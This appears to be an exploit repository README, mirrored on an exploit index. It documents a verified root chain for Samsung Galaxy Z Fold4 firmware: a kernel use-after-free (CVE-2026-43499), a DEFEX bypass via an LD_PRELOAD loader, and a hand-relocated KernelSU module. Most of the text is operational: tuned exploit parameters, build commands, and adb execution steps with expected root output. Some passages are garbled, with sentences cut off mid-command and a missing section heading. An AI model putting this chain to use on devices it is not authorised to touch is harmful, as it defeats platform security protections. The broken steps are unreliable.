## https://sploitus.com/exploit?id=B88826A6-7D2C-5561-8124-18819E33EE1B
# SM-F9360 (Galaxy Z Fold4 / q4q) Bootloader-Free KernelSU Root
> **CVE-2026-43499 Temporary root → LD_PRELOAD channel bypasses DEFEX → kernelsu.ko built with clang-12 (no LTO) → su + KernelSU Manager full functionality**
>
> Status: ✅ **August 12, 2026 – Verified on physical device** (Firmware `F9360ZCSAIZF1`, Kernel `5.10.236-android12-9-2755199 -abF9360ZCSAIZF1`）
>
> This project documents a complete, reproducible process for achieving KernelSU root on Samsung devices with a **locked bootloader**: no bootloader unlock required, no need to flash boot.img, and no Odin required.
---
** TL;DR (English):** This repository documents a fully device-verified jailbreak path for a Samsung Galaxy Z Fold4 with a locked bootloader (SM-F9360, SM8450, kernel 5.10.236, firmware F9360ZCSAIZF1) : a CVE-2026-43499 (rtmutex UAF, fixed in the July 2026 firmware) exploit chain grants temporary kernel-domain root; a custom LD_PRELOAD constructor `.so` bypasses Samsung’s DEFEX execve interceptor to `init_module()` a KernelSU LKM built with the ** exact device toolchain (AOSP clang 12.0.5 r416183b) and with LTO disabled**—the two factors that make the module loadable and its init executable on this CFI/LTO-hardened kernel. Result: `su` works (`uid=0, context=u:r:ksu:s0`) and KernelSU Manager v3.2.5 recognizes the kernel. Root access is in-memory only: every reboot requires re-running the exploit (~3 min, scripted). All pitfalls and dead ends (fake exports, CRC patching, ksud late-load, LTO function-sections layout) are documented below.
---
## Table of Contents
- [1. Results and Fundamental Limitations](#1-Results and Fundamental Limitations)
- [2. Background: Why It’s Difficult, Why It’s Feasible](#2-Background-Why-It’s-Difficult-Why-It’s-Feasible)
- [3. Attack Chain Overview (3 Layers)](#3-Attack-Chain-Overview-3-Layers)
- [4. Environment Requirements](#4-Environment-Requirements)
- [5. Step 1 — Building the Exploit (Temporary Root)](#5-step-1--building-exploit-temporary-root)
- [6. Step 2 — Build kernelsu.ko (Clang-12 recipe without LTO)](#6-step-2--build-kernelsu.ko-clang-12-recipe-without-lto)
- [7. Step 3 — Build ksu-load.so (DEFEX loader bypass)](#7-step-3--Build-ksu-load.so-DEFEX-loader-bypass)
- [8. Step 4 — Device-Side Execution and Verification](#8-step-4--device-side-execution-and-verification)
- [9. Recovery Process After Reboot](#9-recovery-process-after-reboot)
- [10. Key Findings and List of Pitfalls](#10-Key-Findings-and-List-of-Pitfalls)
- [11. Firmware/Kernel Compatibility](#11-Firmware-and-Kernel-Compatibility)
- [12. Acknowledgments and Upstream Projects] (#12-Acknowledgments and Upstream Projects)
- [13. Disclaimer](#13-Disclaimer)
---
## 1. Achievements and Fundamental Limitations
| Item | Status |
|---|---|
| Temporary root (kernel domain `kernel:s0`) | âś… Stably achieved (9 consecutive successes) |
| KernelSU module loading (`init_module`) | âś… `kernelsu ... Live (O)` |
| Full execution of KSU init | âś… All 15 tracking marks show green |
| `su` command | âś… `uid=0(root) gid=0(root) context=u:r:ksu:s0` |
| KernelSU Manager v3.2.5 | âś… Kernel version identified (supercall detection passed), operates under SELinux enforcement mode |
| Bootloader unlock | ❌ Not required |
| Flashing/partition modification | ❌ Not required |
**Fundamental Limitations: BL lock → root is in pure in-memory state.** The exploit must be rerun and the module reloaded after every reboot (the entire process takes about 3 minutes and is scripted). The `ksud` user-space daemon cannot be deployed (DEFEX blocks `execve`; see §10-4), but `su` / supercall / Manager are all handled directly by the kernel’s `sucompat` module and do not rely on `ksud`.
**Warning: `rmmod kernelsu` will cause the device to immediately panic and reboot (RKP protects the in-memory syscall-table restoration path) — never uninstall it.**
## 2. Background: Why It’s Difficult, Why It’s Feasible
### Why It’s Difficult (Samsung’s Layered Defense)
- **BL Lock**: The OEM lock is unbreakable; `fastboot oem unlock` does not exist. Any persistent root (Magisk/kernel patch) requires flashing a new `boot.img`, but a locked BL rejects all self-signed images.
- **KDP / RKP / DEFEX**: Kernel Data Protection (physical writes to `rodata` trigger a hard reboot via the KDP monitor), the RKP hypervisor protects the syscall table, and DEFEX intercepts new ELF execution in the root domain.
- **CFI + LTO Kernel**: `CONFIG_CFI_CLANG=y` + Full LTO. The only source for `mod->init` is the CFI jump-table slot `__cfi_jt_init_module`; indirect calls must go through `.cfi_jt` table entries, otherwise CFI checks will cause an immediate panic.
- ** TRIM_UNUSED_KSYMS**: ~40 symbols required by KSUs are removed from the `__ksymtab` export table; a regular `insmod` cannot resolve them (`Unknown symbol`).
- **MODULE_FORCE_LOAD=n + modversions**: vermagic must match exactly, character by character; the `IGNORE_MODVERSIONS` and `IGNORE_VERMAGIC` flags all lead to a dead end via `try_to_force_load()`.
### Why It Works
1. **CVE-2026-43499** (rtmutex proxy-lock rollback UAF, fixed in the mainline upstream in July 2026) can reliably escalate privileges to the kernel realm on **June 2026 and earlier firmware**—the community already has a **real-device verification** port for the same SoC (SM8450) and kernel branch (5.10): `sarabpal-dev/IonStack-S22U` (b0q / S22U, exp32 route).
2. **DEFEX only blocks `execve`, not dynamic loading**: The `LD_PRELOAD` constructor `.so` is the only exemption channel for executing arbitrary code in the root domain.
3. **KernelSU v3.2+ jailbreak mode* * (`ksud late-load`) is designed specifically for locked BL devices: it does not flash the boot image but instead uses `init_module` directly at runtime.
4. **Toolchain Matching Principle**: The CFI type-id is an internal LLVM hash; modules must be built using **the exact same compiler as the device’s kernel** (q4q devices = AOSP clang 12.0.5 r416183b).
5. **LTO splitting layout is the ultimate root cause of module crashes**: The 447 ALLOC segments generated by `function-sections` will inevitably cause a crash on the Samsung kernel loader; **disabling LTO recompilation → traditional 22-segment layout → successful on the first try** (see §10-1 for details).
## 3. Attack Chain Overview (3 Layers)
```
┌─ Layer 1: CVE-2026-43499 Temporary root
│ ionstack-q4q exploit (KASLR leak → mm reclaim → exp32 32-bit stack stamp
│ → CFI r/w → pipe physrw → UMH root daemon)
│ → /data/local/tmp/cve-2026-43499-root -c '' = kernel:s0 domain root command channel
│
├─ Layer 2: LD_PRELOAD .so loading channel (DEFEX bypass)
│ DEFEX intercepts any new ELF executed via `execve` in the kernel domain (Killed); LD_PRELOAD constructor
│ Execution exemption → `ksu-load.so` within the `/system/bin/true` process:
│ Read ko → Manually relocate 201 UND symbols in /proc/kallsyms (SHN_ABS + st_value=absolute address)
│ → vermagic patch (required for older versions) → init_module() → Success
│
└─ Layer 3: KernelSU kernel module (clang-12 version without LTO)
init executes completely with 15 marks all green → sucompat (allow_shell=1) + supercall available
```
## 4. Environment Requirements
### Device
| Item | Value |
|---|---|
| Model | SM-F9360 (Galaxy Z Fold4, q4q) |
| SoC | SM8450 (Snapdragon 8+ Gen 1) |
| Firmware | `F9360ZCSAIZF1` (**build ≤ June 2026, contains CVE**) |
| Kernel | `5.10.236-android12-9-2755199-abF9360ZCSAIZF1` |
| Device Compiler | **AOSP clang 12.0.5 (r416183b, c935d99d7cf)** (verified via `/proc/version`) |
| Exact vermagic | `5.10.236-android12-9-2755199-abF9360ZCSAIZF1 SMP preempt mod_unload modversions aarch64` |
> Different firmware versions = different kallsyms / layouts / vermagic; this requires re-adapting `target.h` and recompiling. See §11.
### Build Machine
- macOS host + **colima/docker, Ubuntu 24.04 aarch64 container** (x86_64 clang binaries won’t run in an arm64 container; building on a macOS host is a tooling nightmare, so containerization is mandatory)
- Inside the container: `clang-14/15` + **focal repository `clang-12` / `lld-12`** (`/usr/bin/clang-12`, `/usr/bin/ld.lld-12`）
- No gcc in the container → `make` must be run with `CC=clang HOSTCC=clang LD=ld.lld-12`
- NDK r29 (for building the exploit and `ksu-load.so`)
- Samsung kernel source code: GitHub mirror `FryUpDoe/android_kernel_samsung_q4q` (opensource.samsung.com has Cloudflare anti-crawling)
## 5. Step 1 — Build the exploit (temporary root)
The exploit is based on `sarabpal-dev/IonStack-S22U` (SM8450 5.10 physical device GREEN base, exp32 routing). q4q adaptation = `patches/ ionstack-q4q-adapt.patch` in the repository (249 lines; overrides parameters in `target.h`, `kernelsnitch`, `root.c`, etc.).
```bash
export ANDROID_NDK_HOME=$HOME/Projects/f9360-root/tools/android-ndk-r29
cd work/ionstack-q4q # IonStack-S22U clone + this patch
make PROJECT=q4q-F9360ZCSAIZF1 # Note: the variable name is PROJECT=, not TARGET=
```
Key q4q parameters (already optimized; do not change):
| Parameter | Value | Reason |
|---|-- -|---|
| `P0_KERNEL_PHYS_LOAD` | `0xa8000000` | Actual value for b0q/S22U device (convention for all SM8450 series; 0x80080000 is a false positive due to misalignment) |
| `APP_KERNEL_PAGE_KSNITCH_IDENTITY_END` | `0xffffff8b00000000` (44GB) | Device memory is scattered across phys 33.8–39.5GB; the 2GB window (copied from e2s) can never be found |
| `KERNELSNITCH_FUTEX_HASH_SIZE` | `2048` | Kernel `roundup_pow2(256*8)` = 2048; default value of 4096 causes all mm leak tests to fail |
| `KERNELSNITCH_MTE_ENABLED` | `0` | Production kernel `kasan=off`, MTE not enabled |
| `EXP32_STAMP_OFF` | `0x58` | Derived from disassembly (b0q/q4q’s `futex_wait_requeue_pi` matches the compat `do_ipv6_setsockopt` frame) |
| fork 3 2→16 groups / `APPENDED_FUTEXES` 4096→1024 | — | Reduce system load, prevent LMKD SIGKILL |
| `KSU_LOAD_ONLY=1` (root.c) | — | Skip `fake_exports` (replaced by manually relocating `ksu-load.so`) |
Produces 3 binaries (`build/q4q-F9360ZCSAIZF1/`): preload `.so`, app `.so`, and root helper PIE. **Field testing on the device must be performed under low load** (`loadavg cfi_check=NULL` → the shadow registration for `cfi_init` is skipped → the call bypasses CFI checks.** But note**: The only source of `mod->init` is the CFI jt slot `__cfi_jt_init_module` (`kernel/module.c cfi_init ()`) —**KO modules compiled without CFI and lacking the jt slot will appear to be “live,” but `init` will never execute** (false success!). Clang-12 automatically generates the `D __cfi_jt_init_module` slot, eliminating the need for manual `objcopy`.
### Samsung Tree Modifications
```bash
# 1) Disable per-task sysreg stack guard (Ubuntu clang-12 does not support -mstack-protector-guard=sysreg)
# arch/arm64/Makefile: ifeq ($(CONFIG_STACKPROTECTOR_PER_TASK),y) → ifeq (n,y)
# The module’s stack protector falls back to the global `__stack_chk_guard` (which is exported in `kallsyms`, so it’s safe)
# 2) Synchronize changes between .config and include/config/auto.conf (auto.conf is what make actually reads):
# CONFIG_LTO_CLANG_THIN=y → # CONFIG_LTO_CLANG_THIN is not set
# CONFIG_LTO_CLANG=y → not set
# CONFIG_LTO=y → not set
# CONFIG_LTO_NONE=y
# CONFIG_CFI_CLANG=y / CONFIG_CFI_CLANG_SHADOW=y → not set
# + CONFIG_SECTION_MISMATCH_WARN_ONLY=y
# (jt slot .data→.init references will be flagged as ERROR by modpost; must be enabled)
# 3) KSU source code is in place at drivers/kernelsu/
# (KernelSU v3.2.5 + BuSung samsung-kdp-rkp-defex patch; Kconfig/Makefile has been integrated)
```
### Build
```bash
docker exec ksu-build bash -c "cd /kernel && find drivers/kernelsu -name '*.o' -delete; \
make M=drivers/kernelsu LD=ld.lld-12 CC=clang-12 CONFIG_KSU=m \
CONFIG_KSU_SAMSUNG_KDP=y CONFIG_KSU_SAMSUNG_RKP=y CONFIG_KSU_SAMSUNG_DEFEX=y \
CONFIG_KSU_SAMSUNG_NO_PATCH_TEXT=y modules"
```
> ⚠️ **Clearing `.o` files is mandatory**: The `.o` cache is not automatically rebuilt when the `.config` changes; residual `function-sections` artifacts can cause false successes or false crashes.
### Output Verification Checklist (Only push to the device after passing all tests)
```bash
# `.text` is a single section (~0x1133c), not a layout split into function sections
llvm-readelf -S kernelsu.ko | grep -c '\.text\.' # Should be 0
# jt slot exists (the only source from mod->init)
llvm-nm kernelsu.ko | grep __cfi_jt_init_module # D __cfi_jt_init_module
# vermagic exactly matches the device (Naturally matches when compiled with the device tree; no patch required)
modinfo kernelsu.ko | grep vermagic
# 201 UND symbols, no __cfi_check (Module does not participate in CFI shadowing)
llvm-readelf -s kernelsu.ko | grep -c UND
llvm-nm kernelsu.ko | grep __cfi_check # Should be empty
```
See `release/kernelsu-c12-nolto.ko` for the successful module (verified via SHA256SUMS).
## 7. Step 3 — Build ksu-load.so (DEFEX bypass loader)
**DEFEX Semantics (Conclusions from practical testing, overturning previous community assumptions)**:
| Execution Path | Result |
|---|---|
| shell domain (adb) exec new ELF | âś… Allowed (but no root: no CAP_SYS_MODULE / CAP_CHOWN) |
| kernel:s0 domain exec new ELF | ❌ Killed (DEFEX blocks privilege escalation and domain escape) |
| exec new ELF after domain downgrade via setexeccon | ❌ Still killed (DEFEX tracks the LD_PRELOAD chain itself, regardless of domain) |
| **LD_PRELOAD constructor .so loads existing binary** | âś… ** Allowed (the only execution path for root-domain code)** |
| UMH spawn (exploit’s root daemon) | ✅ Allowed |
Therefore, the ksud workflow itself does not work on Samsung devices (execution in the kernel domain is blocked, and the shell domain lacks permissions). **Custom loader** = `loader/ksu-load.c` (`KSU_LOAD_AS_SO` macro = constructor version):
1. The constructor reads `$KSU_KO_PATH`
2. Opens `/proc/kallsyms` (first via the root channel: `echo 0 > /proc/sys/kernel/kptr_restrict`)
3. For each UND symbol in `.symtab`: Look up the absolute address in `kallsyms` → `SHN_ABS + st_value = address`
- Upper limit of 600,000 entries (The device actually contains 489,702 entries; the old limit of 65,536 would silently truncate them and report all as MISSING)
- `patched=201 missing=0` indicates a complete solution
- **SHN_ABS symbols never enter `find_symbol()`/`check_version()` → Both TRIM_UNUSED_KSYMS and modversions CRC “barriers” are eliminated**
4. `KSU_VERMAGIC_PATCH=1` (required for older ko versions): Truncate the scmversion/author/description fields in .modinfo to free up bytes → Write the exact vermagic string to the device (not required for non-LTO versions, where vermagic is automatically matched)
5. `init_module(fd, params)` → Logs to `/data/local/tmp/ksu-load.log` (**unbuffered stderr**; logs are not lost even if the process crashes)
```bash
$ANDROID_NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android30-clang \
-shared -fPIC -O2 -DKSU_LOAD_AS_SO -o ksu-load.so ksu-load.c
```
## 8. Step 4 — Execution and Verification on the Device
### 8.1 Push Assets
```bash
adb -s RFCW31TJJ0T push release/kernelsu-c12-nolto.ko /data/local/tmp/
adb -s RFCW31TJJ0T push release/kernelsu-c12-nolto.ko /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-app.so /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-root /data/local/tmp/
# A panic will flush the F2FS page cache — — After each panic, you must re-verify the MD5 checksum and re-push
```
### 8.2 Temporary root
```bash
# After rebooting, you must wait until loadavg exp.log 2>&1
"
adb -s RFCW31TJJ0T shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0
```
### 8.3 Load the KSU module
```bash
adb -s RFCW31TJJ0T shell "
timeout 10 cve-2026-43499-root -c 'echo 0 > /proc/sys/kernel/kptr_restrict'
timeout 60 cve-2026 -43499-root -c 'sh -c \"KSU_KO_PATH=/data/local/tmp/kernelsu-c12-nolto.ko \
KSU_KO_PARAMS=allow_shell=1 LD_PRELOAD=/data/local/tmp/ksu-load.so \
/system/bin/true > /data/local/tmp/ksu-load.log 2>&1\" '
"
cat /data/local/tmp/ksu-load.log
# Success indicator: patched=201 missing=0 | KernelSU loaded OK (manual relocation, 201 symbols)
adb -s RFCW31TJJ0T shell "cat /proc/modules | grep kernelsu"
# → kernelsu 147456 0 - Live (O)
```
### 8.4 Verify the Log (All green)
```bash
# 1. KSU init 15 mark (/data/local/tmp/ksu-init.log):
# entry → resolver-ok → kdp-ok → cred-ok → defex-ok → syscallhook-ok
# → features-ok → supercalls-ok → rules-ok → cachesid-ok → setupcred-ok
# → escape-ok → allowlist-ok → hookmanager-ok → late-done
# 2. su:
adb -s RFCW31TJJ0T shell "su -c id"
# → uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
# 3. KSU Manager v3.2.5 home screen displays:
# “Kernel version 5.10.236-android12-9-2755199-abF9360ZCSAIZF1” = supercall passed
# Works normally under SELinux enforcement + Seccomp filtering mode
```
## 9. Recovery Process After Reboot
```bash
# 1. Reboot → Wait for `loadavg init`—the sole source = CFI jt slot
`kernel/module.c cfi_init ()`: `mod->init = *find_kallsyms_symbol_value(mod, "__cfi_jt_init_module")`. For non-CFI builds without a jt slot, `mod->init=NULL` → `do_init_module` is skipped → **the module "Live" but init never executed** (ksu_cred not created, hooks not registered—the root cause of all previous "Live shell" phenomena). clang-12 generates the jt slot by default; clang-14’s `-fsanitize=cfi` generates it but discards it after LTO linking (dead end).
### 10.3 Compiler Matching (CFI type-id)
Device `/proc/version` = `Android (7284624, based on r416183b) clang version 12.0.5`. KO files compiled with clang-15/18 cause a `__cfi_check_fail` → panic on the device and do not have CFI_PERMISSIVE. **Check `/proc/version` and use a compiler from the same release**. AOSP clang r416183b download (446MB): `https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/heads/android12-release/clang -r416183b.tar.gz` (the branch must be `android12-release`; the x86_64 version will not run in an arm64 container). For Ubuntu clang-12, modify the Samsung Makefile to disable sysreg guard (see §6).
### 10.4 DEFEX Semantics
See the table in §7. Key points: **The `LD_PRELOAD constructor` is the only exemption path**; `setexeccon` is ineffective for domain lowering; the ksud late-load approach is invalid; use a custom loader. `libksud.so` (the Manager’s embedded library version of ksud) can be launched from the app domain but is blocked by seccomp on syscall 142; this has not yet been exploited.
### 10.5 Vermagic Must Match Exactly
`CONFIG_MODULE_FORCE_LOAD=n` → When all `IGNORE_VERMAGIC`/`IGNORE_MODVERSIONS` flags are set, `try_to_force_load()` ` → ENOEXEC dead end. When the device vermagic includes the LOCALVERSION suffix (`-2755199 -abF9360ZCSAIZF1`); the ko compiled from the device tree (with the correct SUBLEVEL/EXTRAVERSION/LOCALVERSION) naturally matches exactly. Zero-`__versions` modules (official KSU style) perform a **full string comparison** in `same_magic`; they must match character by character.
### 10.6 Other Issues
1. **Exploit load threshold**: If loadavg ≥ 2.5 after boot, the exploit will fail (LMKD SIGKILL; the log stops at `find_collisions` with the same number of bytes). Wait until the load drops before running it again.
2. **File Data Cleared After Panic**: F2FS page cache corruption may cause files in `/data/local/tmp` to be cleared—verify the MD5 checksums of all binaries after a panic.
3. **`pkill -9 -f cve-2026-43499` will incorrectly terminate the root daemon**: The root channel is also lost; you must reboot and start over.
4. **tracefs slide leakage causes instability across boots**: Slides are stable on successful boots; on failed boots (CFI mismatch), reboot and retry immediately—do not chase the code.
5. **Block-buffered stdout causes log loss**: When redirected to a file, `printf` is block-buffered, causing the last segment of the log to be lost during a panic. `set_unbuffer()` (included in the kernelsu toolchain) is called within `run_exploit`; it had never been called before.
6. **kptr_restrict=2 hides even kernel-space root addresses**: First, run `echo 0 > /proc/sys/kernel/kptr_restrict`; the loader must skip the line where `addr == 0`.
7. **489k kallsyms** : The loader’s array limit is ≥600k; 65536 will be silently truncated and reported as all MISSING.
8. **KDP/RKP/DEFEX patches are mandatory**: In the original KSU, a standard `put_cred` operation on Samsung devices that writes KDP credentials → triggers a panic due to external synchronization.
9. **`rmmod kernelsu` will cause a panic** (§1).
10. **Container lacks gcc**: `make` must be run with `CC=clang HOSTCC=clang LD=ld.lld-12`; otherwise, the cc-wrapper’s `execvp gcc` will result in Error 255.
11. **Approaches attempted but abandoned** (see §12 for upstream details and docs/PORTING-TIMELINE.md):
- 39-symbol wrapper shim (ksu_syms.c) → Passes modpost, but hits the modversions CRC wall;
- fake-exports ksymtab hijacking + kcrctab physrw dump → Feasible, but the 32KB byte-by-byte pipe read is too slow, and writing to rodata carries a risk of KDP panic;
- ksud late-load → DEFEX blocks execve; discarded.
- **Manual SHN_ABS relocation = final solution**: Kills three birds with one stone (TRIM symbols, CRC, and vermagic compatibility), with zero kernel memory writes.
## 11. Firmware/Kernel Compatibility
- **CVE-2026-43499 Fix Window**: The Samsung July 2026 firmware has been patched. The target firmware must be build 2026-06 or earlier.
- All outputs in this repository (ko/vermagic/parameters) are bound to `F9360ZCSAIZF1`. For other firmware versions:
1. Re-generate kallsyms and layout using the target firmware’s `boot.img` (`vmlinux-to-elf` + `llvm-nm`);
2. Update the 25 symbol offsets and the P0 fingerprint table in `target.h` (`tools/generate_p0_fingerprint.pl`);
3. Rebuild the ko using the kernel tree corresponding to that firmware (vermagic automatically matches);
4. The b0q/S22U community port for the same SoC (SM8450) confirms that `0xa8000000` is a long-term convention and will most likely not need to be changed.
- Other Samsung devices on the same kernel branch (e.g., the S22 series running 5.10) can serve as a reference base for porting, but **the `task_struct` offsets, `mm_struct` `objsize`, and `ksm` parameters for each device must be verified independently** (copying offsets across devices will inevitably cause a crash).
## 12. Acknowledgments and Upstream Projects
- [CVE-2026-43499](https://github.com/BuSung-dev/Root-My-Galaxy) ecosystem: `BuSung-dev/Root-My-Galaxy` / `Root-My-Galaxy-Payloads` (original exploit and payload framework)
- `sarabpal-dev/IonStack-S22U` — SM8450 5.10 **GREEN on physical device** porting foundation (exp32 routing); this project’s exploit is directly based on it
- `tiann/KernelSU` v3.2.5 — jailbreak mode (`ksud late-load`) + core module
- BuSung’s `KernelSU-v3.2.5-samsung-kdp-rkp-defex.patch` — Adapted for Samsung KDP/RKP/DEFEX
- `xunchahaha/mi_nobl_root` — Python reference implementation based on the SHN_ABS patch approach
- `FryUpDoe/android_kernel_samsung_q4q` — Kernel source code mirror
- Coolapk Community “Expert-Adapted Version” RMG APK (42 firmware payloads) — Source of reverse engineering materials and intelligence
## 13. Disclaimer
This project is **intended solely for security research and testing on personal devices**. Exploiting a known vulnerability (CVE-2026-43499) on devices with the BL lock to bypass platform security mechanisms may violate the device’s warranty terms and terms of service. **Use at your own risk**: Kernel panics, data loss, and bricked devices (low probability but possible) are the sole responsibility of the user. Do not use this on any unauthorized devices. The CVE was patched in upstream in July 2026; please update your firmware promptly.
---
**LICENSE**: The repository’s original code (loader/ksu-load.c, scripts/, this document) is licensed under the MIT License; `release/kernelsu-c12-nolto.ko` is derived from KernelSU (GPL-2.0) and Samsung kernel source code (GPL-2.0); `patches/ionstack-q4q-adapt.patch` is licensed under the terms of the upstream project.